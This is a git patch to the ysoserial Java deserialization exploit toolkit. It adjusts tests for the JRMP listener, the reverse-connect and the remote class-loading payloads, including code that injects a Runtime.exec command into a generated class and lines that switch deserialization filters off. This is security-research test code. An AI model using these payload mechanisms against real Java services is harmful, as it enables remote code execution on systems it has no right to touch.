From 62a5819182bc0783ac91800f5f4c52bedabe8a95 Mon Sep 17 00:00:00 2001 From: Chris Frohoff Date: Sun, 5 Jun 2022 20:26:41 -0700 Subject: [PATCH] added extra output --- src/main/java/ysoserial/exploit/JRMPClient.java | 1 + .../ysoserial/test/payloads/JRMPListenerTest.java | 5 ++--- .../test/payloads/JRMPReverseConnectSMTest.java | 14 ++++++-------- .../java/ysoserial/test/payloads/PayloadsTest.java | 1 + .../test/payloads/RemoteClassLoadingTest.java | 7 ++++++- 5 files changed, 16 insertions(+), 12 deletions(-) diff --git a/src/main/java/ysoserial/exploit/JRMPClient.java b/src/main/java/ysoserial/exploit/JRMPClient.java index afb2e7c..a781811 100644 --- a/src/main/java/ysoserial/exploit/JRMPClient.java +++ b/src/main/java/ysoserial/exploit/JRMPClient.java @@ -95,6 +95,7 @@ public class JRMPClient { } } + // based on http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u232-ga/src/share/classes/sun/rmi/server/MarshalOutputStream.java static final class MarshalOutputStream extends ObjectOutputStream { diff --git a/src/test/java/ysoserial/test/payloads/JRMPListenerTest.java b/src/test/java/ysoserial/test/payloads/JRMPListenerTest.java index 580071a..f55d57e 100644 --- a/src/test/java/ysoserial/test/payloads/JRMPListenerTest.java +++ b/src/test/java/ysoserial/test/payloads/JRMPListenerTest.java @@ -21,10 +21,9 @@ public class JRMPListenerTest implements CustomTest, NeedsAddlClasses { @Override public void run(Callable payload) throws Exception { - System.out.println(testFile); Assert.assertFalse("test file shouldn't exist", testFile.exists()); - ObjectInputFilters.disableDcgFilter(); +// ObjectInputFilters.disableDcgFilter(); // open listener Remote res = (Remote) payload.call(); @@ -36,7 +35,6 @@ public class JRMPListenerTest implements CustomTest, NeedsAddlClasses { Files.waitForFile(testFile, 1000); Assert.assertTrue("test file should exist", testFile.exists()); - System.out.println("passed"); } finally { // close listener // TODO move to postDeserRelease @@ -50,6 +48,7 @@ public class JRMPListenerTest implements CustomTest, NeedsAddlClasses { } public static void main(String[] args) throws Exception { +// ObjectInputFilters.disableDcgFilter(); PayloadsTest.testPayload(JRMPListener.class, new Class[0]); } diff --git a/src/test/java/ysoserial/test/payloads/JRMPReverseConnectSMTest.java b/src/test/java/ysoserial/test/payloads/JRMPReverseConnectSMTest.java index 95354fa..383dfcf 100644 --- a/src/test/java/ysoserial/test/payloads/JRMPReverseConnectSMTest.java +++ b/src/test/java/ysoserial/test/payloads/JRMPReverseConnectSMTest.java @@ -4,6 +4,7 @@ package ysoserial.test.payloads; import java.net.URL; import java.util.concurrent.Callable; +import ysoserial.payloads.JRMPClient; import ysoserial.test.WrappedTest; import ysoserial.exploit.JRMPListener; @@ -16,16 +17,11 @@ public class JRMPReverseConnectSMTest extends RemoteClassLoadingTest implements private int jrmpPort; - public JRMPReverseConnectSMTest () { // some payloads cannot specify the port jrmpPort = 1099; } - - - - /** * {@inheritDoc} * @@ -33,7 +29,7 @@ public class JRMPReverseConnectSMTest extends RemoteClassLoadingTest implements */ @Override public Callable createCallable ( final Callable innerCallable ) { - return super.createCallable(new Callable() { + return super.createCallable(new Callable() { public Object call () throws Exception { JRMPListener l = new JRMPListener(jrmpPort, getExploitClassName(), new URL("http", "localhost", getHTTPPort(), "/")); Thread t = new Thread(l, "JRMP listener"); @@ -57,7 +53,9 @@ public class JRMPReverseConnectSMTest extends RemoteClassLoadingTest implements return "localhost:" + jrmpPort; } - - + public static void main(String[] args) throws Exception { +// System.setProperty("java.rmi.server.useCodebaseOnly", "false"); + PayloadsTest.testPayload(JRMPClient.class); + } } diff --git a/src/test/java/ysoserial/test/payloads/PayloadsTest.java b/src/test/java/ysoserial/test/payloads/PayloadsTest.java index e9a72d5..3ab7eff 100644 --- a/src/test/java/ysoserial/test/payloads/PayloadsTest.java +++ b/src/test/java/ysoserial/test/payloads/PayloadsTest.java @@ -151,6 +151,7 @@ public class PayloadsTest { } } if (ex != null) throw ex; + System.out.println("Successfully tested payload: " + payloadClass.getName()); } private static boolean isForceTests() { diff --git a/src/test/java/ysoserial/test/payloads/RemoteClassLoadingTest.java b/src/test/java/ysoserial/test/payloads/RemoteClassLoadingTest.java index 228ce46..213d227 100644 --- a/src/test/java/ysoserial/test/payloads/RemoteClassLoadingTest.java +++ b/src/test/java/ysoserial/test/payloads/RemoteClassLoadingTest.java @@ -50,7 +50,12 @@ public class RemoteClassLoadingTest extends CommandExecTest implements WrappedTe pool.insertClassPath(new ClassClassPath(Exploit.class)); final CtClass clazz = pool.get(Exploit.class.getName()); clazz.setName(this.className); - clazz.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(\"" + getTouchCmd(testFile.toString()).replace("\\", "\\\\").replace("\"", "\\\"") + "\");"); + clazz.makeClassInitializer().insertAfter( + "java.lang.Runtime.getRuntime().exec(\"" + + getTouchCmd(testFile.toString()) + .replace("\\", "\\\\") + .replace("\"", "\\\"") + + "\");"); return clazz.toBytecode(); } catch ( Exception e ) {